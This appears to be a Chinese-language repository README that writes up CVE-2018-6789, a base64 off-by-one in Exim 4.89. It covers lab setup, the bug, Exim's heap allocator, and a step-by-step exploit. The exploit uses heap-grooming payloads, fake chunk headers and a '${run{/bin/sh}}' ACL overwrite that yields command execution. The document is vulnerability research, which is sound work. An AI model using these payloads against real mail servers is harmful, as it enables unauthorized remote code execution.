/CVE-2018-6789

Primary LanguagePythonGNU General Public License v3.0GPL-3.0

CVE-2018-6789

环境搭建

安装依赖

apt-get install gcc net-tools vim gdb python wget git make procps libpcre3-dev libdb-dev libxt-dev libxaw7-dev

下载旧版本的exim

wget ftp://mirror.easyname.at/exim-ftp/exim/exim4/old/exim-4.89.tar.gz
tar -xvzf ./exim-4.89.tar.gz
cd ./exim-4.89
cp src/EDITME Local/Makefile
cp exim_monitor/EDITME Local/eximon.conf

然后修改Local/Makefile 为了方便其中各个文件夹都指向当前目录下

BIN_DIRECTORY=/home/zzx/EVA/cve-2018-6789/exim-4.89/bin
CONFIGURE_FILE=/home/zzx/EVA/cve-2018-6789/exim-4.89/configure
SPOOL_DIRECTORY=/home/zzx/EVA/cve-2018-6789/exim-4.89/exim
EXIM_USER=zzx
AUTH_PLAINTEXT=yes
AUTH_CRAM_MD5=yes
AUTH_TLS=yes

这样便于调试 然后编译安装

make install

修改./configure, 直接用下面内容覆盖

acl_smtp_mail=acl_check_mail
acl_smtp_data=acl_check_data
begin acl
acl_check_mail:
  .ifdef CHECK_MAIL_HELO_ISSUED
  deny
    message = no HELO given before MAIL command
    condition = ${if def:sender_helo_name {no}{yes}}
  .endif

  accept

acl_check_data:
  accept

begin authenticators
fixed_cram:
  driver = cram_md5
  public_name = CRAM-MD5
  server_secret = ${if eq{$auth1}{ph10}{secret}fail}
  server_set_id = $auth1

运行

./bin/exim -bd -d-receive

漏洞分析

首先先分析位于base64.c中的patch: 1 其中result是base64解码结果存放的buffer,由store_get函数获取 可以发现patch之前的size计算是有问题的,当size属于4n~4n+3的范围里面的时候,计算得到的size的长度是相等的,但是b64decode对于非4的倍数的参数进行解码的时候会多解出一两个字节

比如我们直接发送

auth_md5('Hf'*42)

size=0x40
结果的内存分布:

pwndbg> hexdump 0x711d60 0x50
+0000 0x711d60  1d f1 df 1d  f1 df 1d f1  df 1d f1 df  1d f1 df 1d  │....│....│....│....│
+0010 0x711d70  f1 df 1d f1  df 1d f1 df  1d f1 df 1d  f1 df 1d f1  │....│....│....│....│
+0020 0x711d80  df 1d f1 df  1d f1 df 1d  f1 df 1d f1  df 1d f1 df  │....│....│....│....│
+0030 0x711d90  1d f1 df 1d  f1 df 1d f1  df 1d f1 df  1d f1 df 00  │....│....│....│....│
+0040 0x711da0  20 61 61 61  61 61 61 61  61 61 61 61  61 61 61 61  │.aaa│aaaa│aaaa│aaaa│

再试试

auth_md5('Hf'*42+'HfH')

size=0x40

pwndbg> hexdump 0x711d60 0x50
+0000 0x711d60  1d f1 df 1d  f1 df 1d f1  df 1d f1 df  1d f1 df 1d  │....│....│....│....│
+0010 0x711d70  f1 df 1d f1  df 1d f1 df  1d f1 df 1d  f1 df 1d f1  │....│....│....│....│
+0020 0x711d80  df 1d f1 df  1d f1 df 1d  f1 df 1d f1  df 1d f1 df  │....│....│....│....│
+0030 0x711d90  1d f1 df 1d  f1 df 1d f1  df 1d f1 df  1d f1 df 1d  │....│....│....│....│
+0040 0x711da0  f1 61 61 61  61 61 61 61  61 61 61 61  61 61 61 61  │.aaa│aaaa│aaaa│aaaa│

溢出了两个字节

Exim内存管理机制

exim为了提升性能在原有的堆管理机制上自己实现了一套内存管理机制,它相当于处于代码和glibc之间的一个中间缓冲,目的是减少malloc和free的次数 2 对于exim来说一个单独的堆块称为storeblock,每次使用时从里面分割出合适大小的缓冲区使用,如果一个storeblock用完了就再malloc一个storeblock。 对于每个storeblock来说,它的结构是一个简单的单链表:

/* Structure describing the beginning of each big block. */
typedef struct storeblock {
  struct storeblock *next;
  size_t length;
} storeblock;

程序使用堆的时候主要使用的api在store.c中:

store_get
store_release
store_extend
store_reset

其中store_get用于获取缓冲区,关键代码如下:

128 void *
129 store_get_3(int size, const char *filename, int linenumber)
....
145   int length = (size <= STORE_BLOCK_SIZE)? STORE_BLOCK_SIZE : size;
...
161   /* If there was no free block, get a new one */
162 
163   if (!newblock)
164     {
165     pool_malloc += mlength;           /* Used in pools */
166     nonpool_malloc -= mlength;        /* Exclude from overall total */
167     newblock = store_malloc(mlength);
...

可以看到每次申请的store_block最小长度为STORE_BLOCK_SIZE, 即8192

所以一个8192大小的store_block,加上它的结构头部以及堆块头部后总大小为0x2020 3

在exim每次执行client发送过来的指令的时候,如果指令执行成功,就会调用store_reset将不需要的缓存、多出来的store_block进行释放
这里指的执行成功包括指令的格式正确,邮箱不包含非法字符等等,否则不会调用store_reset

利用思路

这个漏洞是一个经典的off-by-one(尽管其实可以溢出2个字节),但是由于溢出的字节数较少,无法直接覆盖堆块上的敏感结构,所以这里需要通过一些ptmalloc的特性将这个漏洞的影响扩大,将其转化为一个更大范围的overflow, 或者说overlap
对于off-by-one的漏洞,有一个经典的利用方法就是chunk enlarge -> chunk overlap, 通过将堆块的size改大,再伪造一个堆头用于bypass glibc sanity check,以此达到堆块的重叠造成更大范围的覆盖。

这里主要的过程就是通过chunk enlarge -> chunk overlap -> corrupt next pointer in storeblock,再触发store_reset造成一个任意堆块的free,再次申请到这个堆块就能对它的内容进行修改(type confusion)。 meh在文章中推荐修改ACL字符串所在的堆块,因为在ACL字串的处理中存在一个命令执行的功能 ACL的字符串非常多,但是大多数都是NULL(可能和配置文件有关),这里我选择的是acl_smtp_mail字符串,其执行命令的语法为

${run{command}}

大概的堆布局如下 4

其中第一个堆块是base64解码得到的堆块,用于off-by-one,因此它应该处于一个storeblock的末尾,为了方便起见这里直接申请一个大于0x2020的堆块存放base64解码结果;
第二个堆块为sender_helo_name,用于覆盖下一个堆块。sender_helo_name不是存在storeblock中,而是直接malloc出来的:

1832 static BOOL
1833 check_helo(uschar *s)
1834 {
...
1884 if (yield) sender_helo_name = string_copy_malloc(start);

所以大小随意;
第三个堆块为base64解码得到的堆块,主要用于伪造头部并被覆盖,因此它应该处于一个storeblock的起始部位,为了方便起见也直接申请0x2020大小。

Exploit

我的exp也是按照网上别人的分析一步一步得到的,大体思路不变,不过堆的布局和别人有些不一样,所有有些小的参数是不同的

首先先生成一个大小为0x6060的unsortedbin,只需要如下指令就能实现

ehlo('a'*0x1000)

当exim接收到"EHLO "+'a'*0x1000后,会在match.c的match_check_list函数中生成以下三个字符串

*name* in helo_lookup_domains? no (end of list)
sender_fullhost = (*name*) [127.0.0.1]
sender_rcvhost = [127.0.0.1] (helo=*name*)
其中*name*为'a'*0x1000

由于name的长度为0x1000,所以每个字符串会单独占用一个storeblock,这三个字符串就会分别处于连续的三个storeblock中 当exim成功完成ehlo指令后,会在smtp_in.c的smtp_setup_msg中将前面的三个字符串进行释放,得到一个0x6060大小的堆块:

4369     cancel_cutthrough_connection(TRUE, US"sent EHLO response");
4370     smtp_reset(reset_point);
4371     toomany = FALSE;
4372     break;   /* HELO/EHLO */

这时候的堆布局如下: 5

为了将sender_helo_name置于堆块的中间,我们需要将原来的sender_helo_name释放,然后将顶部的堆块占位,当第二个sender_helo_name占位后,再释放顶部堆块。
这里我使用的unrecognize command进行占位。因为接收到unrecognize command相当于指令执行失败,再下一次执行执行成功后会自动被释放
需要注意的是,使用unrecognize command占位的原理是发送给command给exim后,exim会调用synprot_error报错,类似于:

79099 LOG: smtp_syntax_error MAIN
  SMTP syntax error in "yyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy
**** debug string too long - truncated ****

但是如果command全是可见字符,exim将不会为其malloc新的堆块:

 290 const uschar *
 291 string_printing2(const uschar *s, BOOL allow_tab)
 292 {
 293 int nonprintcount = 0;
 294 int length = 0;
 295 const uschar *t = s;
 296 uschar *ss, *tt;
 297 
 298 while (*t != 0)
 299   {
 300   int c = *t++;
 301   if (!mac_isprint(c) || (!allow_tab && c == '\t')) nonprintcount++;
 302   length++;
 303   }
 304 
 305 if (nonprintcount == 0) return s;
 306 
 307 /* Get a new block of store guaranteed big enough to hold the
 308 expanded string. */
 309 
 310 ss = store_get(length + nonprintcount * 3 + 1);
 ...

若command里面包含不可见字符,那么exim会申请一个新的buffer,并且将其中的不可见字符转为8进制字符串,比如'\xee'->"\356", 这就是length + (nonprintcount * 3 + 1)的来历

所以先将sender_ehlo_name放到一个小的堆块,然后尝试发送0x800个'\xee',这会申请0x800 + 1 + 0x800 * 3=0x2001,当前的storeblock中没有这么大的位置,所以会申请一个新的store_block

ehlo('b'*0x20)
unrec('\xee'*0x800)

6

然后申请一个0x2010大小的sender_elho_name:

ehlo('x'*0x2020)

这样会先把原先0x20的sender_elho_name释放掉:

1832 static BOOL
1833 check_helo(uschar *s)
1834 {
1835 uschar *start = s;
1836 uschar *end = s + Ustrlen(s);
1837 BOOL yield = helo_accept_junk;
1838 
1839 /* Discard any previous helo name */
1840 
1841 if (sender_helo_name != NULL)
1842   {
1843   store_free(sender_helo_name);
1844   sender_helo_name = NULL;
1845   }
...

然后申请一个新的sender_helo_name,当一切完成后,调用store_reset清除不需要的堆块,这样0x2020大小的error message会被free,并且和上面的已经被释放的sender_helo_name发生malloc_consolidate形成一个0x2050大小的新的堆块: 7

这样堆布局基本就算完成了,接下来直接占位以及触发漏洞

payload = "d"*(0x2020+0x30-0x18-1)
auth_md5(b64encode(payload)+"EfE")

占位顶部的堆块,溢出一个字节将size 0x2021改为0x20f1 然后占位最下面的堆块,伪造一个0x1f61的size,使其指向下一个堆块

payload2 = 'm'*0x38+p64(0x1f61) 
auth_md5(b64encode(payload2))

这里再申请一个堆块,因为不然的话被覆盖的storeblock是最后一个storeblock,next为null

auth_md5(b64encode('a'*0x1000))

这时候可以释放sender_helo_name来造成chunk overlap了。不过这里有一个点需要注意,因为我们还需要最下面那个堆块来提供next指针(我们覆盖它来达到任意地址free),所以我们并不希望这个堆块被free,所以可以构造一个无效的name来仅仅释放sender_helo_name:

2079 static int
2080 smtp_setup_batch_msg(void)
2081 {
2082 int done = 0;
2083 void *reset_point = store_get(0);

...
3998     HELO_EHLO:      /* Common code for HELO and EHLO */
3999     cmd_list[CMD_LIST_HELO].is_mail_cmd = FALSE;
4000     cmd_list[CMD_LIST_EHLO].is_mail_cmd = FALSE;
4001 
4002     /* Reject the HELO if its argument was invalid or non-existent. A
4003     successful check causes the argument to be saved in malloc store. */
4004 
4005     if (!check_helo(smtp_cmd_data))
4006       {
...
4022       break;
4023       } 

如果check_helo不通过,那么程序会跳出这个循环而不会调用store_reset,那么再来看看check_helo的代码逻辑:

1832 static BOOL
1833 check_helo(uschar *s)
1834 {
1835 uschar *start = s;
1836 uschar *end = s + Ustrlen(s);
1837 BOOL yield = helo_accept_junk;
...
1870   /* Non-literals must be alpha, dot, hyphen, plus any non-valid chars
1871   that have been configured (usually underscore - sigh). */
1872 
1873   else if (*s)
1874     for (yield = TRUE; *s; s++)
1875       if (!isalnum(*s) && *s != '.' && *s != '-' &&
1876           Ustrchr(helo_allow_chars, *s) == NULL)
1877         {
1878         yield = FALSE;
1879         break;
1880         }
...
1885 return yield;
1886 }

可以看到check_helo对发送来的字符进行了一些检查,包括必须是字母或者一些标点符号,或者是helo_allow_chars,不过一般helo_alow_chars是空,这个应该是在配置文件里面配置的。 所以我们可以构造一个带空格的sender_helo_name:

ehlo('pwn it!')   #must include some invalide chars

这样就造成了堆块的重叠。 然后是占位这个堆块来覆写next指针指向acl字符串所在的堆块。这里有个问题,其它的exp利用了部分覆盖来绕过aslr,但是这个在我的环境里面行不通, 因为acl堆块和next指向的堆块相距甚远

pwndbg> tel 0x7214c0+0x2030
00:0000│   0x7234f0 ◂— 0x0
01:0008│   0x7234f8 ◂— 0x2021 /* '! ' */
02:0010│   0x723500 —▸ 0x728510           <== next
03:0018│   0x723508 ◂— 0x2000

pwndbg> tel 0x6f7990                      <== acl chunk
00:0000│   0x6f7990 ◂— 0x30 /* '0' */
01:0008│   0x6f7998 ◂— 0x2021 /* '! ' */
02:0010│   0x6f79a0 —▸ 0x7264f0 —▸ 0x72e5f0 —▸ 0x730640 —▸ 0x732660 ◂— ...
03:0018│   0x6f79a8 ◂— 0x2000
04:0020│   0x6f79b0 ◂— 0x7a7a2f656d6f682f ('/home/zz')
05:0028│   0x6f79b8 ◂— 0x76632f4156452f78 ('x/EVA/cv')
06:0030│   0x6f79c0 ◂— 0x362d383130322d65 ('e-2018-6')
07:0038│   0x6f79c8 ◂— 0x6d6978652f393837 ('789/exim')

所以我的exp采用的绝对地址

payload3 = 'y'*0x2010 + p64(0) + p64(0x2021) + p64(acl_string_block+0x10) +p64(0x2008)
auth_md5(b64encode(payload3))

这样子将acl_string所在的堆块加入了这个store_block的链,当我们更换一个sender_helo_name后,这些堆块都会在store_reset中被free。 所以这次要发送一个合法的名称:

ehlo('I'*16)

这次再申请一个堆块就能申请到acl string所在的堆块了:

payload4='J'*0x60+'${run{/bin/sh}}\x00'
payload4+=((0x500-len(payload4))*'J')
auth_md5(b64encode(payload4))

这里我覆盖的是acl_smtp_mail指向的地址。基本上所有的acl的字符串都是在这个堆块里面,因为这些字符串是从configure里面挨个读取出来然后放到store_get得到的缓冲区里面,所以它们都连续存放在这个storeblock之中。 最后调用acl相关的api:

r.sendline('MAIL FROM: <test@163.com>')

然后在smtp_setup_msg->acl_check->acl_check_internal->expand_string->expand_cstring->expand_string_internal->child_open->child_open_uid中调用execve来执行run里面的命令,下面是服务端的调试信息可以看到指令确实被执行了 8

Reference

https://medium.com/@straightblast426/my-poc-walk-through-for-cve-2018-6789-2e402e4ff588 https://github.com/skysider/VulnPOC/tree/master/CVE-2018-6789